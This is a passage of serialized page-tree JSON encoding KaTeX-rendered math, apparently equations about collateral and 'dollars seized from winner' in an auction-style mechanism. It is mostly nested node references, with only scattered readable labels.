fund",{"type":19,"tag":168,"props":159322,"children":159323},{"style":158517},[159324,159328],{"type":19,"tag":168,"props":159325,"children":159327},{"className":159326,"style":158434},[1480],[],{"type":19,"tag":168,"props":159329,"children":159331},{"className":159330},[1439],[159332,159336,159340,159345,159349,159359,159363,159368,159372],{"type":19,"tag":168,"props":159333,"children":159335},{"className":159334},[1439],[],{"type":19,"tag":168,"props":159337,"children":159339},{"className":159338,"style":1618},[1520],[],{"type":19,"tag":168,"props":159341,"children":159343},{"className":159342},[1623],[159344],{"type":24,"value":19062},{"type":19,"tag":168,"props":159346,"children":159348},{"className":159347,"style":1618},[1520],[],{"type":19,"tag":168,"props":159350,"children":159352},{"className":159351},[1439,24],[159353],{"type":19,"tag":168,"props":159354,"children":159356},{"className":159355},[1439],[159357],{"type":24,"value":159358},"collateral",{"type":19,"tag":168,"props":159360,"children":159362},{"className":159361,"style":1618},[1520],[],{"type":19,"tag":168,"props":159364,"children":159366},{"className":159365},[1623],[159367],{"type":24,"value":486},{"type":19,"tag":168,"props":159369,"children":159371},{"className":159370,"style":1618},[1520],[],{"type":19,"tag":168,"props":159373,"children":159375},{"className":159374},[1439],[159376,159380,159464],{"type":19,"tag":168,"props":159377,"children":159379},{"className":159378},[19172,111052],[],{"type":19,"tag":168,"props":159381,"children":159383},{"className":159382},[111057],[159384],{"type":19,"tag":168,"props":159385,"children":159387},{"className":159386},[1461,19097],[159388,159453],{"type":19,"tag":168,"props":159389,"children":159391},{"className":159390},[1466],[159392,159448],{"type":19,"tag":168,"props":159393,"children":159396},{"className":159394,"style":159395},[1471],"height:1.3714em;",[159397,159417,159428],{"type":19,"tag":168,"props":159398,"children":159399},{"style":156643},[159400,159404],{"type":19,"tag":168,"props":159401,"children":159403},{"className":159402,"style":109705},[1480],[],{"type":19,"tag":168,"props":159405,"children":159407},{"className":159406},[1439],[159408],{"type":19,"tag":168,"props":159409,"children":159411},{"className":159410},[1439,24],[159412],{"type":19,"tag":168,"props":159413,"children":159415},{"className":159414},[1439],[159416],{"type":24,"value":156680},{"type":19,"tag":168,"props":159418,"children":159419},{"style":111107},[159420,159424],{"type":19,"tag":168,"props":159421,"children":159423},{"className":159422,"style":109705},[1480],[],{"type":19,"tag":168,"props":159425,"children":159427},{"className":159426,"style":111117},[111116],[],{"type":19,"tag":168,"props":159429,"children":159430},{"style":156694},[159431,159435],{"type":19,"tag":168,"props":159432,"children":159434},{"className":159433,"style":109705},[1480],[],{"type":19,"tag":168,"props":159436,"children":159438},{"className":159437},[1439],[159439],{"type":19,"tag":168,"props":159440,"children":159442},{"className":159441},[1439,24],[159443],{"type":19,"tag":168,"props":159444,"children":159446},{"className":159445},[1439],[159447],{"type":24,"value":156719},{"type":19,"tag":168,"props":159449,"children":159451},{"className":159450},[19200],[159452],{"type":24,"value":19203},{"type":19,"tag":168,"props":159454,"children":159456},{"className":159455},[1466],[159457],{"type":19,"tag":168,"props":159458,"children":159460},{"className":159459,"style":156737},[1471],[159461],{"type":19,"tag":168,"props":159462,"children":159463},{},[],{"type":19,"tag":168,"props":159465,"children":159467},{"className":159466},[19194,111052],[],{"type":19,"tag":168,"props":159469,"children":159470},{"style":158586},[159471,159475],{"type":19,"tag":168,"props":159472,"children":159474},{"className":159473,"style":158434},[1480],[],{"type":19,"tag":168,"props":159476,"children":159478},{"className":159477},[1439],[159479,159483,159487,159492,159496,159553,159557,159562,159566,159571,159628,159632,159637,159641,159698],{"type":19,"tag":168,"props":159480,"children":159482},{"className":159481},[1439],[],{"type":19,"tag":168,"props":159484,"children":159486},{"className":159485,"style":1618},[1520],[],{"type":19,"tag":168,"props":159488,"children":159490},{"className":159489},[1623],[159491],{"type":24,"value":486},{"type":19,"tag":168,"props":159493,"children":159495},{"className":159494,"style":1618},[1520],[],{"type":19,"tag":168,"props":159497,"children":159499},{"className":159498},[1439],[159500,159505],{"type":19,"tag":168,"props":159501,"children":159503},{"className":159502},[1439,19043],[159504],{"type":24,"value":8095},{"type":19,"tag":168,"props":159506,"children":159508},{"className":159507},[1456],[159509],{"type":19,"tag":168,"props":159510,"children":159512},{"className":159511},[1461,19097],[159513,159542],{"type":19,"tag":168,"props":159514,"children":159516},{"className":159515},[1466],[159517,159537],{"type":19,"tag":168,"props":159518,"children":159520},{"className":159519,"style":91064},[1471],[159521],{"type":19,"tag":168,"props":159522,"children":159523},{"style":90591},[159524,159528],{"type":19,"tag":168,"props":159525,"children":159527},{"className":159526,"style":1481},[1480],[],{"type":19,"tag":168,"props":159529,"children":159531},{"className":159530},[1486,1487,1488,1489],[159532],{"type":19,"tag":168,"props":159533,"children":159535},{"className":159534},[1439,19043,1489],[159536],{"type":24,"value":1157},{"type":19,"tag":168,"props":159538,"children":159540},{"className":159539},[19200],[159541],{"type":24,"value":19203},{"type":19,"tag":168,"props":159543,"children":159545},{"className":159544},[1466],[159546],{"type":19,"tag":168,"props":159547,"children":159549},{"className":159548,"style":90618},[1471],[159550],{"type":19,"tag":168,"props":159551,"children":159552},{},[],{"type":19,"tag":168,"props":159554,"children":159556},{"className":159555,"style":1521},[1520],[],{"type":19,"tag":168,"props":159558,"children":159560},{"className":159559},[1526],[159561],{"type":24,"value":108796},{"type":19,"tag":168,"props":159563,"children":159565},{"className":159564,"style":1521},[1520],[],{"type":19,"tag":168,"props":159567,"children":159569},{"className":159568},[19172],[159570],{"type":24,"value":500},{"type":19,"tag":168,"props":159572,"children":159574},{"className":159573},[1439],[159575,159580],{"type":19,"tag":168,"props":159576,"children":159578},{"className":159577,"style":19044},[1439,19043],[159579],{"type":24,"value":19047},{"type":19,"tag":168,"props":159581,"children":159583},{"className":159582},[1456],[159584],{"type":19,"tag":168,"props":159585,"children":159587},{"className":159586},[1461,19097],[159588,159617],{"type":19,"tag":168,"props":159589,"children":159591},{"className":159590},[1466],[159592,159612],{"type":19,"tag":168,"props":159593,"children":159595},{"className":159594,"style":106966},[1471],[159596],{"type":19,"tag":168,"props":159597,"children":159598},{"style":158467},[159599,159603],{"type":19,"tag":168,"props":159600,"children":159602},{"className":159601,"style":1481},[1480],[],{"type":19,"tag":168,"props":159604,"children":159606},{"className":159605},[1486,1487,1488,1489],[159607],{"type":19,"tag":168,"props":159608,"children":159610},{"className":159609},[1439,19043,1489],[159611],{"type":24,"value":53887},{"type":19,"tag":168,"props":159613,"children":159615},{"className":159614},[19200],[159616],{"type":24,"value":19203},{"type":19,"tag":168,"props":159618,"children":159620},{"className":159619},[1466],[159621],{"type":19,"tag":168,"props":159622,"children":159624},{"className":159623,"style":90618},[1471],[159625],{"type":19,"tag":168,"props":159626,"children":159627},{},[],{"type":19,"tag":168,"props":159629,"children":159631},{"className":159630,"style":1521},[1520],[],{"type":19,"tag":168,"props":159633,"children":159635},{"className":159634},[1526],[159636],{"type":24,"value":1500},{"type":19,"tag":168,"props":159638,"children":159640},{"className":159639,"style":1521},[1520],[],{"type":19,"tag":168,"props":159642,"children":159644},{"className":159643},[1439],[159645,159650],{"type":19,"tag":168,"props":159646,"children":159648},{"className":159647},[1439,19043],[159649],{"type":24,"value":20},{"type":19,"tag":168,"props":159651,"children":159653},{"className":159652},[1456],[159654],{"type":19,"tag":168,"props":159655,"children":159657},{"className":159656},[1461,19097],[159658,159687],{"type":19,"tag":168,"props":159659,"children":159661},{"className":159660},[1466],[159662,159682],{"type":19,"tag":168,"props":159663,"children":159665},{"className":159664,"style":91064},[1471],[159666],{"type":19,"tag":168,"props":159667,"children":159668},{"style":90591},[159669,159673],{"type":19,"tag":168,"props":159670,"children":159672},{"className":159671,"style":1481},[1480],[],{"type":19,"tag":168,"props":159674,"children":159676},{"className":159675},[1486,1487,1488,1489],[159677],{"type":19,"tag":168,"props":159678,"children":159680},{"className":159679},[1439,19043,1489],[159681],{"type":24,"value":1157},{"type":19,"tag":168,"props":159683,"children":159685},{"className":159684},[19200],[159686],{"type":24,"value":19203},{"type":19,"tag":168,"props":159688,"children":159690},{"className":159689},[1466],[159691],{"type":19,"tag":168,"props":159692,"children":159694},{"className":159693,"style":90618},[1471],[159695],{"type":19,"tag":168,"props":159696,"children":159697},{},[],{"type":19,"tag":168,"props":159699,"children":159701},{"className":159700},[19194],[159702],{"type":24,"value":524},{"type":19,"tag":168,"props":159704,"children":159705},{"style":158656},[159706,159710],{"type":19,"tag":168,"props":159707,"children":159709},{"className":159708,"style":158434},[1480],[],{"type":19,"tag":168,"props":159711,"children":159713},{"className":159712},[1439],[159714,159718,159722,159727,159731,159788,159792,159797,159801],{"type":19,"tag":168,"props":159715,"children":159717},{"className":159716},[1439],[],{"type":19,"tag":168,"props":159719,"children":159721},{"className":159720,"style":1618},[1520],[],{"type":19,"tag":168,"props":159723,"children":159725},{"className":159724},[1623],[159726],{"type":24,"value":486},{"type":19,"tag":168,"props":159728,"children":159730},{"className":159729,"style":1618},[1520],[],{"type":19,"tag":168,"props":159732,"children":159734},{"className":159733},[1439],[159735,159740],{"type":19,"tag":168,"props":159736,"children":159738},{"className":159737},[1439,19043],[159739],{"type":24,"value":543},{"type":19,"tag":168,"props":159741,"children":159743},{"className":159742},[1456],[159744],{"type":19,"tag":168,"props":159745,"children":159747},{"className":159746},[1461,19097],[159748,159777],{"type":19,"tag":168,"props":159749,"children":159751},{"className":159750},[1466],[159752,159772],{"type":19,"tag":168,"props":159753,"children":159755},{"className":159754,"style":91064},[1471],[159756],{"type":19,"tag":168,"props":159757,"children":159758},{"style":90591},[159759,159763],{"type":19,"tag":168,"props":159760,"children":159762},{"className":159761,"style":1481},[1480],[],{"type":19,"tag":168,"props":159764,"children":159766},{"className":159765},[1486,1487,1488,1489],[159767],{"type":19,"tag":168,"props":159768,"children":159770},{"className":159769},[1439,19043,1489],[159771],{"type":24,"value":1157},{"type":19,"tag":168,"props":159773,"children":159775},{"className":159774},[19200],[159776],{"type":24,"value":19203},{"type":19,"tag":168,"props":159778,"children":159780},{"className":159779},[1466],[159781],{"type":19,"tag":168,"props":159782,"children":159784},{"className":159783,"style":90618},[1471],[159785],{"type":19,"tag":168,"props":159786,"children":159787},{},[],{"type":19,"tag":168,"props":159789,"children":159791},{"className":159790,"style":1521},[1520],[],{"type":19,"tag":168,"props":159793,"children":159795},{"className":159794},[1526],[159796],{"type":24,"value":1811},{"type":19,"tag":168,"props":159798,"children":159800},{"className":159799,"style":1521},[1520],[],{"type":19,"tag":168,"props":159802,"children":159804},{"className":159803},[1439],[159805,159810],{"type":19,"tag":168,"props":159806,"children":159808},{"className":159807,"style":91021},[1439,19043],[159809],{"type":24,"value":158605},{"type":19,"tag":168,"props":159811,"children":159813},{"className":159812},[1456],[159814],{"type":19,"tag":168,"props":159815,"children":159817},{"className":159816},[1461,19097],[159818,159847],{"type":19,"tag":168,"props":159819,"children":159821},{"className":159820},[1466],[159822,159842],{"type":19,"tag":168,"props":159823,"children":159825},{"className":159824,"style":91064},[1471],[159826],{"type":19,"tag":168,"props":159827,"children":159828},{"style":91068},[159829,159833],{"type":19,"tag":168,"props":159830,"children":159832},{"className":159831,"style":1481},[1480],[],{"type":19,"tag":168,"props":159834,"children":159836},{"className":159835},[1486,1487,1488,1489],[159837],{"type":19,"tag":168,"props":159838,"children":159840},{"className":159839},[1439,19043,1489],[159841],{"type":24,"value":1157},{"type":19,"tag":168,"props":159843,"children":159845},{"className":159844},[19200],[159846],{"type":24,"value":19203},{"type":19,"tag":168,"props":159848,"children":159850},{"className":159849},[1466],[159851],{"type":19,"tag":168,"props":159852,"children":159854},{"className":159853,"style":90618},[1471],[159855],{"type":19,"tag":168,"props":159856,"children":159857},{},[],{"type":19,"tag":168,"props":159859,"children":159860},{"style":158725},[159861,159865],{"type":19,"tag":168,"props":159862,"children":159864},{"className":159863,"style":158434},[1480],[],{"type":19,"tag":168,"props":159866,"children":159868},{"className":159867},[1439],[159869,159873,159877,159882,159886],{"type":19,"tag":168,"props":159870,"children":159872},{"className":159871},[1439],[],{"type":19,"tag":168,"props":159874,"children":159876},{"className":159875,"style":1618},[1520],[],{"type":19,"tag":168,"props":159878,"children":159880},{"className":159879},[1623],[159881],{"type":24,"value":486},{"type":19,"tag":168,"props":159883,"children":159885},{"className":159884,"style":1618},[1520],[],{"type":19,"tag":168,"props":159887,"children":159889},{"className":159888},[1439],[159890,159895],{"type":19,"tag":168,"props":159891,"children":159893},{"className":159892,"style":91021},[1439,19043],[159894],{"type":24,"value":158605},{"type":19,"tag":168,"props":159896,"children":159898},{"className":159897},[1456],[159899],{"type":19,"tag":168,"props":159900,"children":159902},{"className":159901},[1461,19097],[159903,159951],{"type":19,"tag":168,"props":159904,"children":159906},{"className":159905},[1466],[159907,159946],{"type":19,"tag":168,"props":159908,"children":159911},{"className":159909,"style":159910},[1471],"height:0.8213em;",[159912,159929],{"type":19,"tag":168,"props":159913,"children":159915},{"style":159914},"top:-2.433em;margin-left:-0.0359em;margin-right:0.05em;",[159916,159920],{"type":19,"tag":168,"props":159917,"children":159919},{"className":159918,"style":1481},[1480],[],{"type":19,"tag":168,"props":159921,"children":159923},{"className":159922},[1486,1487,1488,1489],[159924],{"type":19,"tag":168,"props":159925,"children":159927},{"className":159926},[1439,19043,1489],[159928],{"type":24,"value":1157},{"type":19,"tag":168,"props":159930,"children":159932},{"style":159931},"top:-3.113em;margin-right:0.05em;",[159933,159937],{"type":19,"tag":168,"props":159934,"children":159936},{"className":159935,"style":1481},[1480],[],{"type":19,"tag":168,"props":159938,"children":159940},{"className":159939},[1486,1487,1488,1489],[159941],{"type":19,"tag":168,"props":159942,"children":159944},{"className":159943},[1526,1489],[159945],{"type":24,"value":1811},{"type":19,"tag":168,"props":159947,"children":159949},{"className":159948},[19200],[159950],{"type":24,"value":19203},{"type":19,"tag":168,"props":159952,"children":159954},{"className":159953},[1466],[159955],{"type":19,"tag":168,"props":159956,"children":159959},{"className":159957,"style":159958},[1471],"height:0.267em;",[159960],{"type":19,"tag":168,"props":159961,"children":159962},{},[],{"type":19,"tag":168,"props":159964,"children":159965},{"style":158795},[159966,159970],{"type":19,"tag":168,"props":159967,"children":159969},{"className":159968,"style":158434},[1480],[],{"type":19,"tag":168,"props":159971,"children":159973},{"className":159972},[1439],[159974,159978,159982,159987,159991,160001],{"type":19,"tag":168,"props":159975,"children":159977},{"className":159976},[1439],[],{"type":19,"tag":168,"props":159979,"children":159981},{"className":159980,"style":1618},[1520],[],{"type":19,"tag":168,"props":159983,"children":159985},{"className":159984},[1623],[159986],{"type":24,"value":19062},{"type":19,"tag":168,"props":159988,"children":159990},{"className":159989,"style":1618},[1520],[],{"type":19,"tag":168,"props":159992,"children":159994},{"className":159993},[1439,24],[159995],{"type":19,"tag":168,"props":159996,"children":159998},{"className":159997},[1439],[159999],{"type":24,"value":160000},"dollars seized from winner ",{"type":19,"tag":168,"props":160002,"children":160004},{"className":160003},[1439,19043],[160005],{"type":24,"value":1157},{"type":19,"tag":168,"props":160007,"children":160008},{"style":158864},[160009,160013],{"type":19,"tag":168,"props":160010,"children":160012},{"className":160011,"style":158434},[1480],[],{"type":19,"tag":168,"props":160014,"children":160016},{"className":160015},[1439],[160017,160021,160025,160030,160034],{"type":19,"tag":168,"props":160018,"children":160020},{"className":160019},[1439],[],{"type":19,"tag":168,"props":160022,"children":160024},{"className":160023,"style":1618},[1520],[],{"type":19,"tag":168,"props":160026,"children":160028},{"className":160027},[1623],[160029],{"type":24,"value":486},{"type":19,"tag":168,"props":160031,"children":160033},{"className":160032,"style":1618},[1520],[],{"type":19,"tag":168,"props":160035,"children":160037},{"className":160036},[1439],[160038,160042,160223],{"type":19,"tag":168,"props":160039,"children":160041},{"className":160040},[19172,111052],[],{"type":19,"tag":168,"props":160043,"children":160045},{"className":160044},[111057],[160046],{"type":19,"tag":168,"props":160047,"children":160049},{"className":160048},[1461,19097],[160050,160211],{"type":19,"tag":168,"props":160051,"children":160053},{"className":160052},[1466],[160054,160206],{"type":19,"tag":168,"props":160055,"children":160058},{"className":160056,"style":160057},[1471],"height:1.1076em;",[160059,160127,160138],{"type":19,"tag":168,"props":160060,"children":160061},{"style":156643},[160062,160066],{"type":19,"tag":168,"props":160063,"children":160065},{"className":160064,"style":109705},[1480],[],{"type":19,"tag":168,"props":160067,"children":160069},{"className":160068},[1439],[160070],{"type":19,"tag":168,"props":160071,"children":160073},{"className":160072},[1439],[160074,160079],{"type":19,"tag":168,"props":160075,"children":160077},{"className":160076,"style":119814},[1439,19043],[160078],{"type":24,"value":47054},{"type":19,"tag":168,"props":160080,"children":160082},{"className":160081},[1456],[160083],{"type":19,"tag":168,"props":160084,"children":160086},{"className":160085},[1461,19097],[160087,160116],{"type":19,"tag":168,"props":160088,"children":160090},{"className":160089},[1466],[160091,160111],{"type":19,"tag":168,"props":160092,"children":160094},{"className":160093,"style":91064},[1471],[160095],{"type":19,"tag":168,"props":160096,"children":160097},{"style":158762},[160098,160102],{"type":19,"tag":168,"props":160099,"children":160101},{"className":160100,"style":1481},[1480],[],{"type":19,"tag":168,"props":160103,"children":160105},{"className":160104},[1486,1487,1488,1489],[160106],{"type":19,"tag":168,"props":160107,"children":160109},{"className":160108},[1439,19043,1489],[160110],{"type":24,"value":1157},{"type":19,"tag":168,"props":160112,"children":160114},{"className":160113},[19200],[160115],{"type":24,"value":19203},{"type":19,"tag":168,"props":160117,"children":160119},{"className":160118},[1466],[160120],{"type":19,"tag":168,"props":160121,"children":160123},{"className":160122,"style":90618},[1471],[160124],{"type":19,"tag":168,"props":160125,"children":160126},{},[],{"type":19,"tag":168,"props":160128,"children":160129},{"style":111107},[160130,160134],{"type":19,"tag":168,"props":160131,"children":160133},{"className":160132,"style":109705},[1480],[],{"type":19,"tag":168,"props":160135,"children":160137},{"className":160136,"style":111117},[111116],[],{"type":19,"tag":168,"props":160139,"children":160140},{"style":156694},[160141,160145],{"type":19,"tag":168,"props":160142,"children":160144},{"className":160143,"style":109705},[1480],[],{"type":19,"tag":168,"props":160146,"children":160148},{"className":160147},[1439],[160149],{"type":19,"tag":168,"props":160150,"children":160152},{"className":160151},[1439],[160153,160158],{"type":19,"tag":168,"props":160154,"children":160156},{"className":160155},[1439,19043],[160157],{"type":24,"value":16729},{"type":19,"tag":168,"props":160159,"children":160161},{"className":160160},[1456],[160162],{"type":19,"tag":168,"props":160163,"children":160165},{"className":160164},[1461,19097],[160166,160195],{"type":19,"tag":168,"props":160167,"children":160169},{"className":160168},[1466],[160170,160190],{"type":19,"tag":168,"props":160171,"children":160173},{"className":160172,"style":91064},[1471],[160174],{"type":19,"tag":168,"props":160175,"children":160176},{"style":90591},[160177,160181],{"type":19,"tag":168,"props":160178,"children":160180},{"className":160179,"style":1481},[1480],[],{"type":19,"tag":168,"props":160182,"children":160184},{"className":160183},[1486,1487,1488,1489],[160185],{"type":19,"tag":168,"props":160186,"children":160188},{"className":160187},[1439,19043,1489],[160189],{"type":24,"value":1157},{"type":19,"tag":168,"props":160191,"children":160193},{"className":160192},[19200],[160194],{"type":24,"value":19203},{"type":19,"tag":168,"props":160196,"children":160198},{"className":160197},[1466],[160199],{"type":19,"tag":168,"props":160200,"children":160202},{"className":160201,"style":90618},[1471],[160203],{"type":19,"tag":168,"props":160204,"children":160205},{},[],{"type":19,"tag":168,"props":160207,"children":160209},{"className":160208},[19200],[160210],{"type":24,"value":19203},{"type":19,"tag":168,"props":160212,"children":160214},{"className":160213},[1466],[160215],{"type":19,"tag":168,"props":160216,"children":160219},{"className":160217,"style":160218},[1471],"height:0.836em;",[160220],{"type":19,"tag":168,"props":160221,"children":160222},{},[],{"type":19,"tag":168,"props":160224,"children":160226},{"className":160225},[19194,111052],[],{"type":19,"tag":168,"props":160228,"children":160229},{"style":158933},[160230,160234],{"type":19,"tag":168,"props":160231,"children":160233},{"className":160232,"style":158434},[1480],[],{"type":19,"tag":168,"props":160235,"children":160237},{"className":160236},[1439],[160238,160242,160246,160251,160255,160325,160329],{"type":19,"tag":168,"props":160239,"children":160241},{"className":160240},[1439],[],{"type":19,"tag":168,"props":160243,"children":160245},{"className":160244,"style":1618},[1520],[],{"type":19,"tag":168,"props":160247,"children":160249},{"className":160248},[1623],[160250],{"type":24,"value":486},{"type":19,"tag":168,"props":160252,"children":160254},{"className":160253,"style":1618},[1520],[],{"type":19,"tag":168,"props":160256,"children":160259},{"className":160257},[19079,160258],"op-limits",[160260],{"type":19,"tag":168,"props":160261,"children":160263},{"className":160262},[1461,19097],[160264,160313],{"type":19,"tag":168,"props":160265,"children":160267},{"className":160266},[1466],[160268,160308],{"type":19,"tag":168,"props":160269,"children":160272},{"className":160270,"style":160271},[1471],"height:1.05em;",[160273,160291],{"type":19,"tag":168,"props":160274,"children":160276},{"style":160275},"top:-1.8723em;margin-left:0em;",[160277,160282],{"type":19,"tag":168,"props":160278,"children":160281},{"className":160279,"style":160280},[1480],"height:3.05em;",[],{"type":19,"tag":168,"props":160283,"children":160285},{"className":160284},[1486,1487,1488,1489],[160286],{"type":19,"tag":168,"props":160287,"children":160289},{"className":160288},[1439,19043,1489],[160290],{"type":24,"value":1157},{"type":19,"tag":168,"props":160292,"children":160294},{"style":160293},"top:-3.05em;",[160295,160299],{"type":19,"tag":168,"props":160296,"children":160298},{"className":160297,"style":160280},[1480],[],{"type":19,"tag":168,"props":160300,"children":160301},{},[160302],{"type":19,"tag":168,"props":160303,"children":160306},{"className":160304},[19079,19084,160305],"large-op",[160307],{"type":24,"value":106329},{"type":19,"tag":168,"props":160309,"children":160311},{"className":160310},[19200],[160312],{"type":24,"value":19203},{"type":19,"tag":168,"props":160314,"children":160316},{"className":160315},[1466],[160317],{"type":19,"tag":168,"props":160318,"children":160321},{"className":160319,"style":160320},[1471],"height:1.2777em;",[160322],{"type":19,"tag":168,"props":160323,"children":160324},{},[],{"type":19,"tag":168,"props":160326,"children":160328},{"className":160327,"style":1559},[1520],[],{"type":19,"tag":168,"props":160330,"children":160332},{"className":160331},[1439],[160333,160338],{"type":19,"tag":168,"props":160334,"children":160336},{"className":160335},[1439,19043],[160337],{"type":24,"value":16729},{"type":19,"tag":168,"props":160339,"children":160341},{"className":160340},[1456],[160342],{"type":19,"tag":168,"props":160343,"children":160345},{"className":160344},[1461,19097],[160346,160375],{"type":19,"tag":168,"props":160347,"children":160349},{"className":160348},[1466],[160350,160370],{"type":19,"tag":168,"props":160351,"children":160353},{"className":160352,"style":91064},[1471],[160354],{"type":19,"tag":168,"props":160355,"children":160356},{"style":90591},[160357,160361],{"type":19,"tag":168,"props":160358,"children":160360},{"className":160359,"style":1481},[1480],[],{"type":19,"tag":168,"props":160362,"children":160364},{"className":160363},[1486,1487,1488,1489],[160365],{"type":19,"tag":168,"props":160366,"children":160368},{"className":160367},[1439,19043,1489],[160369],{"type":24,"value":1157},{"type":19,"tag":168,"props":160371,"children":160373},{"className":160372},[19200],[160374],{"type":24,"value":19203},{"type":19,"tag":168,"props":160376,"children":160378},{"className":160377},[1466],[160379],{"type":19,"tag":168,"props":160380,"children":160382},{"className":160381,"style":90618},[1471],[160383],{"type":19,"tag":168,"props":160384,"children":160385},{},[],{"type":19,"tag":168,"props":160387,"children":160388},{"style":159002},[160389,160393],{"type":19,"tag":168,"props":160390,"children":160392},{"className":160391,"style":158434},[1480],[],{"type":19,"tag":168,"props":160394,"children":160396},{"className":160395},[1439],[160397,160401,160405,160410,160414,160477,160481,160486,160491,160496,160553,160558,160562,160566,160571],{"type":19,"tag":168,"props":160398,"children":160400},{"className":160399},[1439],[],{"type":19,"tag":168,"props":160402,"children":160404},{"className":160403,"style":1618},[1520],[],{"type":19,"tag":168,"props":160406,"children":160408},{"className":160407},[1623],[160409],{"type":24,"value":486},{"type":19,"tag":168,"props":160411,"children":160413},{"className":160412,"style":1618},[1520],[],{"type":19,"tag":168,"props":160415,"children":160417},{"className":160416},[19079,160258],[160418],{"type":19,"tag":168,"props":160419,"children":160421},{"className":160420},[1461,19097],[160422,160466],{"type":19,"tag":168,"props":160423,"children":160425},{"className":160424},[1466],[160426,160461],{"type":19,"tag":168,"props":160427,"children":160429},{"className":160428,"style":160271},[1471],[160430,160446],{"type":19,"tag":168,"props":160431,"children":160432},{"style":160275},[160433,160437],{"type":19,"tag":168,"props":160434,"children":160436},{"className":160435,"style":160280},[1480],[],{"type":19,"tag":168,"props":160438,"children":160440},{"className":160439},[1486,1487,1488,1489],[160441],{"type":19,"tag":168,"props":160442,"children":160444},{"className":160443},[1439,19043,1489],[160445],{"type":24,"value":1157},{"type":19,"tag":168,"props":160447,"children":160448},{"style":160293},[160449,160453],{"type":19,"tag":168,"props":160450,"children":160452},{"className":160451,"style":160280},[1480],[],{"type":19,"tag":168,"props":160454,"children":160455},{},[160456],{"type":19,"tag":168,"props":160457,"children":160459},{"className":160458},[19079,19084,160305],[160460],{"type":24,"value":106329},{"type":19,"tag":168,"props":160462,"children":160464},{"className":160463},[19200],[160465],{"type":24,"value":19203},{"type":19,"tag":168,"props":160467,"children":160469},{"className":160468},[1466],[160470],{"type":19,"tag":168,"props":160471,"children":160473},{"className":160472,"style":160320},[1471],[160474],{"type":19,"tag":168,"props":160475,"children":160476},{},[],{"type":19,"tag":168,"props":160478,"children":160480},{"className":160479,"style":1559},[1520],[],{"type":19,"tag":168,"props":160482,"children":160484},{"className":160483},[19079],[160485],{"type":24,"value":158148},{"type":19,"tag":168,"props":160487,"children":160489},{"className":160488},[19172],[160490],{"type":24,"value":500},{"type":19,"tag":168,"props":160492,"children":160494},{"className":160493},[1439],[160495],{"type":24,"value":1500},{"type":19,"tag":168,"props":160497,"children":160499},{"className":160498},[1439],[160500,160505],{"type":19,"tag":168,"props":160501,"children":160503},{"className":160502},[1439,19043],[160504],{"type":24,"value":48937},{"type":19,"tag":168,"props":160506,"children":160508},{"className":160507},[1456],[160509],{"type":19,"tag":168,"props":160510,"children":160512},{"className":160511},[1461,19097],[160513,160542],{"type":19,"tag":168,"props":160514,"children":160516},{"className":160515},[1466],[160517,160537],{"type":19,"tag":168,"props":160518,"children":160520},{"className":160519,"style":91064},[1471],[160521],{"type":19,"tag":168,"props":160522,"children":160523},{"style":90591},[160524,160528],{"type":19,"tag":168,"props":160525,"children":160527},{"className":160526,"style":1481},[1480],[],{"type":19,"tag":168,"props":160529,"children":160531},{"className":160530},[1486,1487,1488,1489],[160532],{"type":19,"tag":168,"props":160533,"children":160535},{"className":160534},[1439,19043,1489],[160536],{"type":24,"value":1157},{"type":19,"tag":168,"props":160538,"children":160540},{"className":160539},[19200],[160541],{"type":24,"value":19203},{"type":19,"tag":168,"props":160543,"children":160545},{"className":160544},[1466],[160546],{"type":19,"tag":168,"props":160547,"children":160549},{"className":160548,"style":90618},[1471],[160550],{"type":19,"tag":168,"props":160551,"children":160552},{},[],{"type":19,"tag":168,"props":160554,"children":160556},{"className":160555},[1552],[160557],{"type":24,"value":1555},{"type":19,"tag":168,"props":160559,"children":160561},{"className":160560,"style":1559},[1520],[],{"type":19,"tag":168,"props":160563,"children":160565},{"className":160564,"style":1559},[1520],[],{"type":19,"tag":168,"props":160567,"children":160569},{"className":160568},[1439],[160570],{"type":24,"value":1452},{"type":19,"tag":168,"props":160572,"children":160574},{"className":160573},[19194],[160575],{"type":24,"value":524},{"type":19,"tag":168,"props":160577,"children":160578},{"style":159072},[160579,160583],{"type":19,"tag":168,"props":160580,"children":160582},{"className":160581,"style":158434},[1480],[],{"type":19,"tag":168,"props":160584,"children":160586},{"className":160585},[1439],[160587,160591,160595,160600,160604,160667,160671],{"type":19,"tag":168,"props":160588,"children":160590},{"className":160589},[1439],[],{"type":19,"tag":168,"props":160592,"children":160594},{"className":160593,"style":1618},[1520],[],{"type":19,"tag":168,"props":160596,"children":160598},{"className":160597},[1623],[160599],{"type":24,"value":486},{"type":19,"tag":168,"props":160601,"children":160603},{"className":160602,"style":1618},[1520],[],{"type":19,"tag":168,"props":160605,"children":160607},{"className":160606},[19079,160258],[160608],{"type":19,"tag":168,"props":160609,"children":160611},{"className":160610},[1461,19097],[160612,160656],{"type":19,"tag":168,"props":160613,"children":160615},{"className":160614},[1466],[160616,160651],{"type":19,"tag":168,"props":160617,"children":160619},{"className":160618,"style":160271},[1471],[160620,160636],{"type":19,"tag":168,"props":160621,"children":160622},{"style":160275},[160623,160627],{"type":19,"tag":168,"props":160624,"children":160626},{"className":160625,"style":160280},[1480],[],{"type":19,"tag":168,"props":160628,"children":160630},{"className":160629},[1486,1487,1488,1489],[160631],{"type":19,"tag":168,"props":160632,"children":160634},{"className":160633},[1439,19043,1489],[160635],{"type":24,"value":1157},{"type":19,"tag":168,"props":160637,"children":160638},{"style":160293},[160639,160643],{"type":19,"tag":168,"props":160640,"children":160642},{"className":160641,"style":160280},[1480],[],{"type":19,"tag":168,"props":160644,"children":160645},{},[160646],{"type":19,"tag":168,"props":160647,"children":160649},{"className":160648},[19079,19084,160305],[160650],{"type":24,"value":106329},{"type":19,"tag":168,"props":160652,"children":160654},{"className":160653},[19200],[160655],{"type":24,"value":19203},{"type":19,"tag":168,"props":160657,"children":160659},{"className":160658},[1466],[160660],{"type":19,"tag":168,"props":160661,"children":160663},{"className":160662,"style":160320},[1471],[160664],{"type":19,"tag":168,"props":160665,"children":160666},{},[],{"type":19,"tag":168,"props":160668,"children":160670},{"className":160669,"style":1559},[1520],[],{"type":19,"tag":168,"props":160672,"children":160674},{"className":160673},[1439],[160675,160680],{"type":19,"tag":168,"props":160676,"children":160678},{"className":160677,"style":119814},[1439,19043],[160679],{"type":24,"value":47054},{"type":19,"tag":168,"props":160681,"children":160683},{"className":160682},[1456],[160684],{"type":19,"tag":168,"props":160685,"children":160687},{"className":160686},[1461,19097],[160688,160717],{"type":19,"tag":168,"props":160689,"children":160691},{"className":160690},[1466],[160692,160712],{"type":19,"tag":168,"props":160693,"children":160695},{"className":160694,"style":91064},[1471],[16